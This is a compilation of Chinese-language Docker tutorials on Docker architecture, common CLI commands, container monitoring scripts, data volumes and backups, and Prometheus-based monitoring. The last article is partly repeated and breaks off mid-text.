Docker还用到了另外一项技术叫cgroups或者叫控制组（control groups）。实现程序运行环境的隔离的关键在于使这些程序只用到它们需要的资源，这就能够保证这些容器是主机服务环境小社会中的好市民。控制组允许Docker在不同的容器之间共享硬件资源，需要时添加一些限制和约束，例如限制一个容器最大访问内存量。


统一文件系统（Union file systems）


统一文件系统或者说是UnionFS，是创建层的时候用到的文件系统，使文件系统非常轻量和快速。Docker使用统一文件系统为容器构建blocks，Docker可以使用几种不同的文件系统：AUFS、btrfs、vfs以及DeviceMapper。


容器格式


Docker容器将这些组件合并在一起，我们称之为容器格式，容器的缺省格式称为libcontainer。Docker还支持利用LXC技术的传统Linux容器格式，未来还将会支持其它的容器格式，例如：与BSD Jails或者Solaris Zones实现整合。


下一步



	安装Docker，请参照 installation section


	Docker用户指南，请参照 深入学习Docker






原文链接：Understanding Docker（翻译：deerlux 校对：李颖杰）

译者介绍：deerlux@163.com，现就职于一家军工科研机构，深度的技术控、Linux控、python控。
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在之前的文章中我们介绍了十五条 Docker 命令。这篇文章将会给大家介绍另外十五条实用的 Docker 命令。


他们分别是：


daemon


daemon，又称为守护进程，通常是指在后台持续运行的服务，例如 nginx、apache、php 等。Docker 的 daemon 模式便是类似 nginx 一样，让 Docker 运行在后台提供服务。


和大多数的 unix 服务一样，-d 参数可以让 Docker 运行在后台。


build


在前面我们讲过 Dockerfile，不过一直没有告诉大家怎么用自己的 Dockerfile 生成镜像文件。

那么现在也不算晚：使用 build 命令生成 image。


docker build [OPTIONS] PATH | URL | - 



PATH / URL / - 这三个是必选选项，三选一。


OPTION 可以使用 docker build --help 进行查看，主要包括构建过程中的内存限制、CPU 限制、以及其他。有两个必须需要了解的 OPTION 选项：



	
-f： 和make一样，如果PATH内找不到Dockerfile，则docker build必须要 -f 参数指定Dockerfile。

	
-t： 指定生成的镜像标签。例如： docker build -f Dockerfile -t tag .，使用 Dockerfile.bak 生成一个标签叫 tag 的镜像文件。



另外，- 选项非常有意思：docker build -，然后可以交互式地输入 Dockerfile，输入完毕后按 Ctrl+D 结束输入即可。



  OPTION 一定要放在 PATH / URL / - 前面。




ps


原文至今没有提到 docker ps 命令，太坑了，补充一下：


docker ps 命令用于显示运行中的容器，例如


命令 # docker run -d ubuntu /usr/bin/top -b
b33059d6c7427e377a1239eca59605e18bb6d145c4f12df6021db4896b6fcfa3
命令 # docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
b33059d6c742        ubuntu:latest       "/usr/bin/top -b"   2 seconds ago       Up 2 seconds                            backstabbing_jang



docker ps -a 则是显示所有容器，包括运行过的容器的历史记录。


attach


Docker 允许 attach 进入容器并与运行中的容器进行交互，同时允许查看容器内守护进程态下的程序的输出，使用以下两种方式退出容器：



	Ctrl+C 直接退出

	Ctrl+\ 退出并显示堆栈信息。



语法：docekr attach <container>


那么还是刚刚那个容器：


命令 # docker run -d ubuntu /usr/bin/top -b
b33059d6c7427e377a1239eca59605e18bb6d145c4f12df6021db4896b6fcfa3
命令 # docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
b33059d6c742        ubuntu:latest       "/usr/bin/top -b"   2 seconds ago       Up 2 seconds                            backstabbing_jang

命令 # docker attach backstabbing_jang #此处也可以用docker attach b330


top - 05:30:49 up 16:04,  0 users,  load average: 0.01, 0.19, 0.39
Tasks:   1 total,   1 running,   0 sleeping,   0 stopped,   0 zombie
%Cpu(s):  1.7 us,  2.0 sy,  0.0 ni, 96.0 id,  0.0 wa,  0.3 hi,  0.0 si,  0.0 st
KiB Mem:   1003080 total,   596484 used,   406596 free,    42524 buffers
KiB Swap:  1046524 total,        0 used,  1046524 free.   330716 cached Mem

   PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
     1 root      20   0   19744   1280   1008 R  0.0  0.1   0:00.08 top

top - 05:30:52 up 16:05,  0 users,  load average: 0.01, 0.19, 0.39
Tasks:   1 total,   1 running,   0 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  1.0 sy,  0.0 ni, 94.3 id,  4.3 wa,  0.3 hi,  0.0 si,  0.0 st
KiB Mem:   1003080 total,   596484 used,   406596 free,    42528 buffers
KiB Swap:  1046524 total,        0 used,  1046524 free.   330712 cached Mem

   PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
     1 root      20   0   19744   1280   1008 R  0.0  0.1   0:00.08 top

省略部分输出



diff


docker diff <contianer> 用于显示容器的文件改动，包括 A（add），C（change），D（delete）。这些信息可以用于 debug，也可以用于快速信息共享。


示例：


命令 # docker run -t -i ubuntu /bin/bash
命令（容器内） root@cc9befbe64a1:/# nano a
bash: nano: command not found
命令（容器内）root@cc9befbe64a1:/# apt-get install nano
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  spell
The following NEW packages will be installed:
  nano
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 194 kB of archives.
After this operation, 614 kB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu/ trusty/main nano amd64 2.2.6-1ubuntu1 [194 kB]
Fetched 194 kB in 3s (54.3 kB/s)
Selecting previously unselected package nano.
(Reading database ... 11527 files and directories currently installed.)
Preparing to unpack .../nano_2.2.6-1ubuntu1_amd64.deb ...
Unpacking nano (2.2.6-1ubuntu1) ...
Setting up nano (2.2.6-1ubuntu1) ...
update-alternatives: using /bin/nano to provide /usr/bin/editor (editor) in auto mode
update-alternatives: using /bin/nano to provide /usr/bin/pico (pico) in auto mode
命令（容器内） root@cc9befbe64a1:/#



这个容器ID是cc9befbe64a1，于是可以新开一个终端：


命令 # docker diff cc9
A /.wh..wh.plnk/119.673746
A /.wh..wh.plnk/335.673670
C /bin
A /bin/nano
A /bin/rnano
C /etc
C /etc/alternatives
D /etc/alternatives/editor.fr.1.gz
省略部分输出



events


获取 Docker 服务端的实时事件，例如 docker events 的同时运行 docker run ubuntu。


import


用于导入 URL / 文件，从本地导入需要 - 参数。docker import [OPTIONS] URL|- [REPOSITORY[:TAG]]、URL/-二选一。


例如，我们导入 openvz 的 suse minimal 镜像：


命令# docker import http://mirrors.ustc.edu.cn/openvz/template/precreated/suse-13.1-x86-minimal.tar.gz suse:minimal  #这里使用的是ustc镜像源。
Downloading from http://mirrors.ustc.edu.cn/openvz/template/precreated/suse-13.1-x86-minimal.tar.gz
127a9e7b9f87e4fc280c96bee9fad0a19057de38d307fe7fc1f6d35c86f1aff657.89 MB/57.89 MB
命令# docker images
REPOSITORY               TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
suse                     minimal             127a9e7b9f87        2 minutes ago       149.1 MB



导入本地镜像：


cat suse-13.1-x86-minimal.tar.gz |docker import - suse:minmal



导入 Gentoo 的 stage3：


docker import http://mirrors.ustc.edu.cn/gentoo/releases/amd64/autobuilds/current-stage3-amd64/stage3-amd64-20150423.tar.bz2 gentoo:stage3



export


和 import 相反，export 将容器导出成 tar 压缩包。


例如


命令 # docker run -i -t -d suse:minimal /bin/bash
060f6e6c877af01313363b6506107438b9eb5ba87a7ef0625577e348a554ecca
命令 # docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
060f6e6c877a        suse:minimal        "/bin/bash"         2 seconds ago       Up 2 seconds                            fervent_ritchie
命令 # docker export -o a.tar 060f
命令 # docker export 060f > a.tar  #也可以这样。



cp


从容器内复制出文件：格式 docker cp container:path hostpath


命令 # docker cp 060:/etc/zypp/zypp.conf  /tmp/ #060是容器ID的简写
命令 # cat /tmp/zypp.conf
## Configuration file for software management
## /etc/zypp/zypp.conf
##
## Boolean values are 0 1 yes no on off true false
省略。。



login


登录到 docker registry server：


命令 # docker login
Username (qiuker521): qiuker521
WARNING: login credentials saved in /root/.dockercfg.
Login Succeeded



当然也可以登录到自己的私有服务器：docker login localhost:8080


inspect


用法：docker inspect <container>/<image>，用于收集容器的底层信息，包括如下内容：



	实例的IP地址。

	端口绑定

	搜索特定的端口映射

	搜集配置信息。



例如


命令 # docker ps
CONTAINER ID        IMAGE                      COMMAND             CREATED             STATUS              PORTS                    NAMES
cf57741249fb        dockerui/dockerui:latest   "/dockerui"         2 minutes ago       Up 2 minutes        0.0.0.0:9000->9000/tcp   trusting_hawking
命令 # docker inspect --format='{{.NetworkSettings.IPAddress}}' cf5
172.17.0.17



kill


用来停止正在运行的容器。


docker kill [OPTION] container



rm


用来删除容器。


docker rm [OPTIONS] CONTAINER [CONTAINER...]



rmi


不同于 rm，是用来删除镜像的命令。


docker rmi [OPTIONS] IMAGE [IMAGE...]




  因为会有很多层的依赖，所以很多时候需要用 -f 参数进行删除。




wait


用来获取容器的退出信号值。已退出的容器直接返回 exit 值，未退出的容器等待容器退出，然后返回 exit 值。


load & save


这两个放在一块吧。


使用 load 从 stdin 导入一个 tar 格式的镜像或者仓库，然后用 save 将 tar 镜像输出到 stdout。



	
docker save -o <output file> <image>或者docker save <image> > <output file>


	
docker load -i <file name>或者docker load < <file name>




这两个命令常用于多节点部署。


例如：


命令 # docker save -o a.tar suse
命令 # docker load -i a.tar



后记


Docker 命令的操作到此结束，接下来的教程我们将会探讨 Docker API：第七章讲解 Docker 服务器的 Docker API，第八章和第九章讲解 Docker remote API。


区别在于：Docker API 主要是用于 Docker 官方 Index、Registry 和 Client 之间互通消息的 API，Docker remote API 则是用于控制主机 Docker 服务端的 API。


 Docker 监控的一点想法

作者：刘阳龙Herman

来源： Docker 监控的一点想法



                    
目前项目内部署了docker，于是涉及到关于监控的事情，参考一些经典实例以及一些自己的想法，总结一下思路。


1、关于监控的内容


监控宿主机本身


监控宿主机本身还是比较简单的，同其他服务器监控类似，对cpu、network、io、disk等做通用的检查，这里不再细说。


额外的，因为是docker的宿主机，还应该监控 容器本身的一些指标，如 ：



	拥有的全部的容器数量；

	正在运行的容器的数量；

	dead容器的数量（如果此数量变化应该报警）；

	docker 本身的信息，如Storage Driver、Data Space Used、Data Space Total、Metadata Space Total、Metadata Space Used、client version、client api version、server version、servier api version 等；



监控容器


docker容器通过namespace做资源隔离，通过cgroup来做资源限制。监控方便，只能通过在宿主机本身查看对应容器的cgroup stats。


具体大项有：



	容器的本身信息，如名称，ip、使用的镜像、启动时间、启动命令等；

	容器的状态，如可先监控两个量值，running or not running （当状态变化时报警）；

	容器使用cpu的资源信息；

	容器使用memory的资源信息；

	容器的network io信息；

	容器的disk信息；



2、关于监控项的获取


宿主机本身


宿主机的一般信息获取 见zabbix监控项，不重复。



	
拥有的全部容器的数量：


docker ps -a -q | wc -l




	
正在运行的容器的数量：


docker ps  -q | wc -l 




	
非运行状态的容器的数量：


docker ps -a  | grep -v 'Up '  | grep -v 'CONTAINER' | wc -l




	docker本身信息，可从命令 docker version  & docker info中获取




监控容器


1、容器本身信息 & 状态：


从docker inspect 中获取，简单脚本如下：


#!/usr/bin/env python
import commands
import sys
import types
import json
def get_container_info( container ):
msg = commands.getoutput('docker inspect '+container)
#return msg
data = json.loads( msg )
return data[0]
container = sys.argv[1]
msg = get_container_info( container )
containerid = msg["Id"]
image = msg['Image']
name = msg['Name']
ip = msg['NetworkSettings']['IPAddress']
status = msg['State']['Running']
startedat = msg['State']['StartedAt']
print containerid, image, name, ip, status, startedat



2、 容器使用cpu情况：


从cpuacct中获取相应的值，首先要获取一个cpu周期的时间值，getconf CLK_TCK，默认为100，即100Hz，一个周期即为 1/100s = 10ms = 10^7 ns；


可以获取cpuacct.usage、 cpuacct.stat ，但是具体怎么做对比，还得观察。


理论上的计算方法为，在单位时间内，docker 容器对应的cpu使用的变化值 除以 总系统cpu时间的变化值 乘以 100%；其中，docker容器对应的cpu值可以从cgroup.cpuacct中的cpuacct.usage值得到，他的单位是纳秒，10^9个纳秒为1秒；系统的cpu总时间可以从/proc/stat中获取，第一行中。以“cpu ”开头那行，数值累加就是当前系统cpu总时间，需要注意的是，他的数值单位为 “cpu周期”，就是刚才获取到的 1/CLK_TCK ，关于/proc/stat 的说明文档：http://www.linuxhowtos.org/System/procstat.htm


从docker源码中获知，docker的stats计算方法和这个有点出入，它在此计算的基础上，又乘以 cpu核数 得到最终结果，这个让我有点不理解，和官方确认中。。。。。
已经和官方确认，只是双方对“cpu利用率如何定义”的问题，我认为应该是平均利用率，官方认为应该是total cpu 利用率，好吧。。。。。 地址为： #issues 13626

相关源码地址为：https://github.com/docker/docker/blob/0d445685b8d628a938790e50517f3fb9...


以下是用shell完成的模拟docker计算cpu利用率方法的小脚本：


#!/bin/sh
##echo user nice system idle iowait irq softirq
CPULOG_1=$(cat /proc/stat | grep 'cpu ' | awk '{print $2" "$3" "$4" "$5" "$6" "$7" "$8}')
Total_1=$(echo $CPULOG_1 | awk '{print $1+$2+$3+$4+$5+$6+$7}')
CGROUP_USAGE_1=$(cat /cgroup/cpuacct/docker/55dec85d2e93c487fbeb1e85c9677e64dd1b4bdcc5be0e5f2539e52c87641d4e/cpuacct.usage)
sleep 1
CPULOG_2=$(cat /proc/stat | grep 'cpu ' | awk '{print $2" "$3" "$4" "$5" "$6" "$7" "$8}')
Total_2=$(echo $CPULOG_2 | awk '{print $1+$2+$3+$4+$5+$6+$7}')
CGROUP_USAGE_2=$(cat /cgroup/cpuacct/docker/55dec85d2e93c487fbeb1e85c9677e64dd1b4bdcc5be0e5f2539e52c87641d4e/cpuacct.usage)
CGROUP_USAGE=`expr $CGROUP_USAGE_2 - $CGROUP_USAGE_1`
Total=`expr $Total_2 - $Total_1`
CGROUP_RATE=`expr $CGROUP_USAGE*24/$Total/10000000*100|bc -l`
echo $CGROUP_USAGE_1 , $CGROUP_USAGE_2 , $CGROUP_USAGE , $Total,  $CGROUP_RATE



3、 容器使用memory情况：


从容器所在cgroup组中查看memory.stats信息，具体值 的信息如下


统计  描述
cache   页缓存，包括 tmpfs（shmem），单位为字节
Rss 匿名和 swap 缓存，不包括 tmpfs（shmem），单位为字节
Mapped_file memory-mapped 映射的文件大小，包括 tmpfs（shmem），单位为字节
pgpgin  存入内存中的页数
pgpgout 从内存中读出的页数
swap    swap 用量，单位为字节
Active_anon 在活跃的最近最少使用（least-recently-used，LRU）列表中的匿名和 swap 缓存，包括 tmpfs（shmem），单位为字节
Inactive_anon   不活跃的 LRU 列表中的匿名和 swap 缓存，包括tmpfs（shmem），单位为字节
Active_file 活跃 LRU 列表中的 file-backed 内存，以字节为单位
Inactive_file   不活跃 LRU 列表中的 file-backed 内存，以字节为单位
unevictable 无法再生的内存，以字节为单位
hierarchical_memory_limit（重点）   包含 memory cgroup 的层级的内存限制，单位为字节
hierarchical_memsw_limit    包含 memory cgroup 的层级的内存加 swap 限制，单位为字节



4、容器网络io情况： 可以执行命令： docker exec  ifconfig eth0 看 Rx和Tx的值。


5、磁盘io情况 从blkio 中获取，相关参考：



	
blkio.time：统计cgroup对设备的访问时间，按格式device_types:node_numbers milliseconds读取信息即可，以下类似。

	
blkio.io_serviced：统计cgroup对特定设备的IO操作（包括read、write、sync及async）次数，格式device_types:node_numbers operation number

	
blkio.sectors：统计cgroup对设备扇区访问次数，格式device_types:node_numbers sector_count

	
blkio.io_service_bytes：统计cgroup对特定设备IO操作（包括read、write、sync及async）的数据量，格式device_types:node_numbers operation bytes

	
blkio.io_queued：统计cgroup的队列中对IO操作（包括read、write、sync及async）的请求次数，格式number operation

	
blkio.io_service_time：统计cgroup对特定设备的IO操作（包括read、write、sync及async）时间(单位为ns)，格式device_types:node_numbers operation time

	
blkio.io_merged：统计cgroup 将 BIOS 请求合并到IO操作（包括read、write、sync及async）请求的次数，格式number operation

	
blkio.io_wait_time：统计cgroup在各设备中各类型IO操作（包括read、write、sync及async）在队列中的等待时间(单位ns)，格式device_types:node_numbers operation time



6、磁盘使用情况，我以为只需要监控docker pool space的状况即可，默认建立100G的空间供docker使用，可通过docker info来查看，一个典型的输出如下：


Containers: 11
Images: 181
Storage Driver: devicemapper
Pool Name: docker-8:5-7471107-pool
Pool Blocksize: 65.54 kB
Backing Filesystem: extfs
Data file: 
Metadata file: 
Data Space Used: 7.846 GB
Data Space Total: 107.4 GB
Metadata Space Used: 15.92 MB
Metadata Space Total: 2.147 GB
Udev Sync Supported: true
Library Version: 1.02.89-RHEL6 (2014-09-01)
Execution Driver: native-0.2
Kernel Version: 2.6.32-431.el6.x86_64
Operating System: <unknown>
CPUs: 24
Total Memory: 62.87 GiB
Name: jx-lj-opweb01.lianjia.com
ID: QTML:RSSS:IKAX:FRIP:4YEQ:IXWX:ROMV:APZD:RV4M:ISY2:QW2D:VMXW



7、在前期可以先重点监控 宿主机情况 & 容器的memory状态，其他状态可记录，监控值可稍后商榷。


 Managing Data in Containers

作者：adolphlwq

来源： Managing Data in Containers



                    

  前面已经介绍了许多基础的知识，现在我们来一起学习如何管理Docker容器里面以及容器之间的数据




先介绍两种原始的方法来管理Docker中的应用:



	Data volumes

	Data volume container



Data volumes



  data volumns是专门设计的工具，它绕过了UFS直接工作于一个或多个容器。它为数据持久和分享提供了许多功能：





	容器被创建时，卷（volumn）被初始化。如果基础镜像在指定的挂载点包含数据，这些数据也会被复制到新容器的卷中。

	数据卷可以在多个容器间分享和复用

	可以直接更改卷里面的数据

	更新镜像时对容器数据卷的更改将不会被包含到新的镜像中

	即使容器被删除，数据卷依然存在



数据卷的设计被用来持久化数据，让数据能够独立于容器的生命周期。因此当删除容器时Docker也不会自动删除数据卷。


Adding a data volume



  增加数据卷




docker create -v和docker run -v中的-v标记来给容器添加数据卷，我们可以在一条命令中多次使用-v标记来添加多个数据卷，下面的例子挂载了一个数据卷在我们的web应用容器中。


languagedocker run -d -P --name web -v /webapp training/webapp python app.py



这条命令执行后会在容器中创建一个新的卷webapp


Mount a Host Directory as a Data Volume



  为数据卷挂在主机目录




除了使用-v标记来创建卷之外，你还可以挂载Docker守护进程主机的目录到容器中。



  注意：如果你使用Boot2Docker，那么你的Docker守护进程只能被限制访问OSX/windows特定的文件目录。Boot2Docker会努力自动分享OSX中的/users目录和windows中的C:users目录。因此你可以通过docker run -v /Users/<path>:/<container path> ... (OSX)或者docker run -v /c/Users/<path>:/<container path ...(Windows).来挂在文件或目录。所有的其它路径（不是/users和C：users）都来自Boot2Docker虚拟机中的文件系统。




languagedocker run -d -P --name web -v /src/webapp:/opt/webapp training/webapp python app.py



上述命令会把主机的/src/webapp目录挂在到容器中的/opt/webapp下



  注意：如果/opt/webapp目录已经存在与容器的镜像中，那么/opt/webapp中的内容会被主机上的/src/webapp中的数据替换，这个和mount命令是一致的。




数据卷挂在数据对测试非常有用，比如我们可以把源代码挂在到容器中，然后修改代码看看应用会发生什么。主机上的目录必须是绝对路径，如果这个目录不存在Docker会自动去创建1个。



  注意：不能在Dockerfile中来配置挂载目录，因为Dockerfile的目的是更方便的来一直和分享镜像，而主机目录依赖于主机，（对于一个目录，在不同的主机上可能绝对路径不一致）所以Dockerfile中目录挂载不会适用于所有的主机




挂载的数据卷默认是可读写的，当然我们可以通过命令标记来让它只读


languagedocker run -d -P --name web -v /src/webapp:/opt/webapp:ro training/webapp python app.py



上述命令中我们通过ro选项来让数据卷只读


Mount a Host File as a Data Volume



  挂载主机文件作为数据卷




-v标记还可以用来挂在来自主机的文件，而不仅仅是目录


languagedocker run --rm -it -v ~/.bash_history:/.bash_history ubuntu /bin/bash



上述命令会带你到一个新容器的shell界面，你会有来自主机的bash历史。因为容器和主机共享了一个.bash_history文件，所以你在容器中的命令历史和主机中的历史都会记录到.bash_history中，这样当你退出容器中时，你在容器中的命令历史被保存下来了，在主机的shell历史记录中仍然能够看到容器中的历史。






  注意：人们会使用很多工具来编辑文件，vi，sed --in-place，这些都会导致文件的索引节点改变。Docker 1.1.0之前，文件修改会报如sed: cannot rename ./sedKdJ9Dy: Device or resource busy这样的错误。但是在Docker 1.1.0之后，挂载文件让文件修改变得非常简单而不需要再去挂在包含这个文件的父目录了。




Creating and mounting a Data Volume Container



  创建一个专门防数据的数据卷容器




如果你有一些持久化的数据需要在容器之间共享，或者想从非持久化容器使用持久化数据。最好的办法是创建名为Data的卷容器，把数据都挂在到Data容器里

我们创建一个能分享数据的命名容器，他不运行任何应用，它重复使用training/postgres镜像以便所有的容器使用同一个层，这样可以节省磁盘空间。


languagedocker create -v /dbdata --name dbdata training/postgres /bin/true



我们使用--volumes-from标记来绑定/dbdata卷到另一个容器


languagedocker run -d --volumes-from dbdata --name db1 training/postgres



或者


languagedocker run -d --volumes-from dbdata --name db2 training/postgres



在是上述的例子中，我们在容器中挂在了/dbdata卷，如果恰巧镜像training/postgres中也有/dbdata这个目录，那么容器会隐藏镜像的目录，而让容器中的/dbdata目录可见，新建多个数据容器同样是隐藏镜像的文件而显示容器中的文件，这种机制实现了数据卷的数据共享。

你可以在一条命令中使用多个--volumes-from标记参数把多个容器的数据卷绑定在一起。

上述的代码中db1和db2是挂载dbdata这个容器来扩展的，你也可以挂载db1或者db2来扩展你的数据卷。


language docker run -d --name db3 --volumes-from db1 training/postgres



如果你想删除包含挂载数据卷的容器，甚至是初始化的容器dbdata，或者是由dbdata扩展的db1和db2，容器会删除，但是数据卷会留下。使用docker rm -v来删除容器的数据卷。



  注意：当你删除容器没有使用-v标记的时候，Docker不会提示警告。没有使用-v标记删除容器，会让残留的volumns变得“无家可归”（就是没有容器再引用这个数据卷）。这样的卷很难删除而且会占用很多空间，我们正在努力改善数据卷的管理，你可以通过pull request #8484来跟进我们的进程。




Backup, restore, or migrate data volumes



  我们可以利用数据卷来有效的备份、恢复和迁移数据




languagedocker run --volumes-from dbdata -v $(pwd):/backup ubuntu tar cvf /backup/backup.tar /dbdata



命令中我们启动了一个新的容器，它共享了来自dbdata容器的数据卷。然后我们挂在了一个本地主机的目录/backup。最后我们使用tar命令把/dbdata中的数据压缩成dbdata.jar放到/backup中。执行结束我们就完成了数据卷的数据备份工作。


数据恢复


languagedocker run -v /dbdata --name dbdata2 ubuntu /bin/bash
docker run --volumes-from dbdata2 -v $(pwd):/backup busybox tar xvf /backup/backup.tar



创建一个新的容器dbdata2，解压文件到新的容器的数据卷。


 使用 Prometheus 监控 Docker 容器

作者：yexiaobai

来源： 使用 Prometheus 监控 Docker 容器



                    

  本文的原作者是 johannes-fish-ziemke，原文地址是 http://5pi.de/2015/01/26/monitor-docker-containers-with-prometheus/





  该文中介绍的 Prometheus 的项目地址是 https://prometheus.github.io/




监控 Docker


在容器中运行你所有的服务使得获取深度资源和运行特性成为可能，因为每个容器运行在它们自己的 cgroup 中并且 Linux 内核给我们提供了各种各样的指标（metrics）。


尽管有一些其他的 Docker 监控工具，我将给你们展示我为什么认为 SoundCloud 最新发布的 Prometheus 是最适合监控基于容器的基础架构。


Prometheus 特点是高维度数据模型，时间序列是通过一个度量值名字和一套键值对识别。灵活的查询语言允许查询和绘制数据。它采用了先进的度量标准类型像汇总（summaries），从指定时间跨度的总数构建比率或者是在任何异常的时候报警并且没有任何依赖，中断期间使它成为一个可靠的系统进行调试。


我会集中讲为什么该数据模型和查询语言如此贴合容器式和动态基础设施，对于这些基础设施，你应该想着整个服务集群而不是单个服务器实例，把服务器想成牛群中的牛而不是各家自养分散开的宠物。


传统方法


比如说你想监控你容器的内存使用率。不支持维度数据，这样一个名为 webapp123 的容器的指标，可能被称为 container_memory_usage_bytes_webapp123。


但是如果你想展示所有你的 webapp123 容器的内存利用率？更先进的监控解决方案像 graphite 支持这样。它的特性是层次，树状数据模型，这样的指标可能被称为 container.memory_usage_bytes.webapp123。现在你可以使用正则表达式像 container.memory_usage_bytes.webapp* 来绘制所有你的 ‘webapp’ 容器的内存使用率。Graphite 也支持函数像 sum() 来通过使用一个表达式像  sum(container.memory_usage_bytes.webapp*) 聚合你所有服务器上的应用的内存使用率。


这是非常伟大并且有用的，但是有限制性。如果你不想聚合一个给定名字的所有容器而是一个给定镜像的？或者你想把部署你的 canary 同在你生产环境的服务器对比？


可以为每个用例想出一个层次结构，但是没有一个支持它们。现实情况显示，你预先往往不知道哪个问题需要从新回答一次并且你开始研究。


Prometheus


Prometheus 支持维度数据，你可以拥有全局和简单的指标名像 container_memory_usage_bytes ，使用多个维度来标识你服务的指定实例。


我已经创建了一个简单的 container-exporter 来收集 Docker 容器的指标以及输出给 Prometheus 来消费。这个输出器使用容器的名字，id 和 镜像作为维度。额外的 per-exporter 维度可以在 prometheus.conf 中设置。


如果你使用指标名字直接作为一个查询表达式，它将返回有这个使用这个指标名字作为标签的所有时间序列。


container_memory_usage_bytes{env="prod",id="23f731ee29ae12fef1ef6726e2fce60e5e37342ee9e35cb47e3c7a24422f9e88",instance="http://1.2.3.4:9088/metrics",job="container-exporter",name="haproxy-exporter-int",image="prom/haproxy-exporter:latest"}    11468800.000000  
container_memory_usage_bytes{env="prod",id="57690ddfd3bb954d59b2d9dcd7379b308fbe999bce057951aa3d45211c0b5f8c",instance="http://1.2.3.5:9088/metrics",job="container-exporter",name="haproxy-exporter",image="prom/haproxy-exporter:latest"}    16809984.000000  
container_memory_usage_bytes{env="prod",id="907ac267ebb3299af08a276e4ea6fd7bf3cb26632889d9394900adc832a302b4",instance="http://1.2.3.2:9088/metrics",job="container-exporter",name="node-exporter",image="prom/container-exporter:latest"}  
...
...



如果你运行了许多容器，这个看起来像这样



为了帮助你使得这数据更有意义，你可以过滤（filter） and/or 聚合（aggregate） 这些指标。


切片 & 切块（Slice & Dice）


使用 Prometheus 的查询语言，你可以对你想的任何维度的数据切片和切块。如果你对一个给定名字的所有容器感兴趣，你可以使用一个表达式像 container_memory_usage_bytes{name="consul-server"}，这个将仅仅显示 name == "consul-server" 的时间序列。


Prometheus 也支持正则表达式，因此匹配完整的脚本你可以这样做 container_memory_usage_bytes{name=~"^consul"}，这将展示起来像这样：





你也使用使用任何维度过滤，因此你可以获取在一个给定主机，给定环境和给定区域上所有容器的指标。


聚合（Aggregation）


和 Graphite 类似，Prometheus 支持聚合函数但是它的维度更加丰富。使用 sum(container_memory_usage_bytes{name=~"^consul"}) 按预期汇总你所有 "consul-*" 的内存使用率。


现在比如说你想看你的 'consul' 和 'consul-server' 容器平均内存使用率的不同，这可以通过提供维度保存这聚合结果像 avg(container_memory_usage_bytes{name=~"^consul"}) by (name) 来实现：





如果你在多个区域有服务并且配置了区域名作为一个额外的标签对，你也可以保存维度来展示每个名字和区域的内存使用率，通过使用一个像这样的表达式 avg(container_memory_usage_bytes{name=~"^consul"}) by (name,zone)。


使用 Prometheus + Container-Exporter


正如你所知，我喜欢在容器中运行一切，包括 container-exporter 和 Prometheus，运行 container-exporter 应该是非常容易的：


docker run -p 8080:8080 -v /sys/fs/cgroup:/cgroup \  
           -v /var/run/docker.sock:/var/run/docker.sock prom/container-exporter



现在你需要安装 Prometheus。关于这个参考官方文档。为了使得 Prometheus 从 container-exporter 拉取指标，你需要把它作为目标添加到配置。比如：


job: {  
  name: "container-exporter"
  scrape_interval: "1m"
  target_group: {
      labels: {
        label: {
            name: "zone"
            value: "us-east-1"
        }
        label: {
            name: "env"
            value: "prod"
        }
    }
    target: "http://1.2.3.4:8080/metrics"
  }
}



现在从新构建你的镜像如文档中描述的那样并启动它。Prometheus 现在应该每 60s 轮询你的 container-exporter。


总结


因为 Prometheus 的灵活性，它的性能和最小化依赖，它是我选择的监控系统。这就是为什么从去年起我介绍了 Prometheus 作为我们监控 Docker 的主要监控系统。


 Docker 监控- Prometheus VS Cloud Insight

作者：OneAPM蓝海讯通

来源： Docker 监控- Prometheus VS Cloud Insight



                    
如今，越来越多的公司开始使用 Docker 了，2 / 3 的公司在尝试了 Docker 后最终使用了它。为了能够更精确的分配每个容器能使用的资源，我们想要实时获取容器运行时使用资源的情况，怎样对 Docker 上的应用进行监控呢？Docker 的结构会不会加大监控难度？

可是在没有专业运维团队来监控 Docker 的情况下，并且还想加快 Docker 监控的日程，怎么办呢？

我们通过调查了解到几种不错的 Docker 监控方法，其中 Prometheus 和 Cloud Insight 让人很感兴趣。

Prometheis

先来说说一套开源的 Docker 监控方案：Prometheus；而此篇文字的原文地址：Monitor Docker Containers with Prometheus。

Prometheus 由 SoundCloud 发明，适合于监控基于容器的基础架构。Prometheus 特点是高维度数据模型，时间序列是通过一个度量值名字和一套键值对识别。灵活的查询语言允许查询和绘制数据。它采用了先进的度量标准类型像汇总（summaries），从指定时间跨度的总数构建比率或者是在任何异常的时候报警并且没有任何依赖，中断期间使它成为一个可靠的系统进行调试。

Prometheus 支持维度数据，你可以拥有全局和简单的指标名像 container_memory_usage_bytes ，使用多个维度来标识你服务的指定实例。

我已经创建了一个简单的 container-exporter 来收集 Docker 容器的指标以及输出给 Prometheus 来消费。这个输出器使用容器的名字，id 和 镜像作为维度。额外的 per-exporter 维度可以在 prometheus.conf 中设置。

如果你使用指标名字直接作为一个查询表达式，它将返回有这个使用这个指标名字作为标签的所有时间序列。

container_memory_usage_bytes{env="prod",id="23f731ee29ae12fef1ef6726e2fce60e5e37342ee9e35cb47e3c7a24422f9e88",instance="http://1.2.3.4:9088/metrics",job="container-exporter",name="haproxy-exporter-int",image="prom/haproxy-exporter:latest"}    11468800.000000`  

container_memory_usage_bytes{env="prod",id="57690ddfd3bb954d59b2d9dcd7379b308fbe999bce057951aa3d45211c0b5f8c",instance="http://1.2.3.5:9088/metrics",job="container-exporter",name="haproxy-exporter",image="prom/haproxy-exporter:latest"}    16809984.000000` 

container_memory_usage_bytes{env="prod",id="907ac267ebb3299af08a276e4ea6fd7bf3cb26632889d9394900adc832a302b4",instance="http://1.2.3.2:9088/metrics",job="container-exporter",name="node-exporter",image="prom/container-exporter:latest"}  `

...
...

如果你运行了许多容器，这个看起来像这样：



为了帮助你使得这数据更有意义，你可以过滤（filter） and/or 聚合（aggregate） 这些指标。

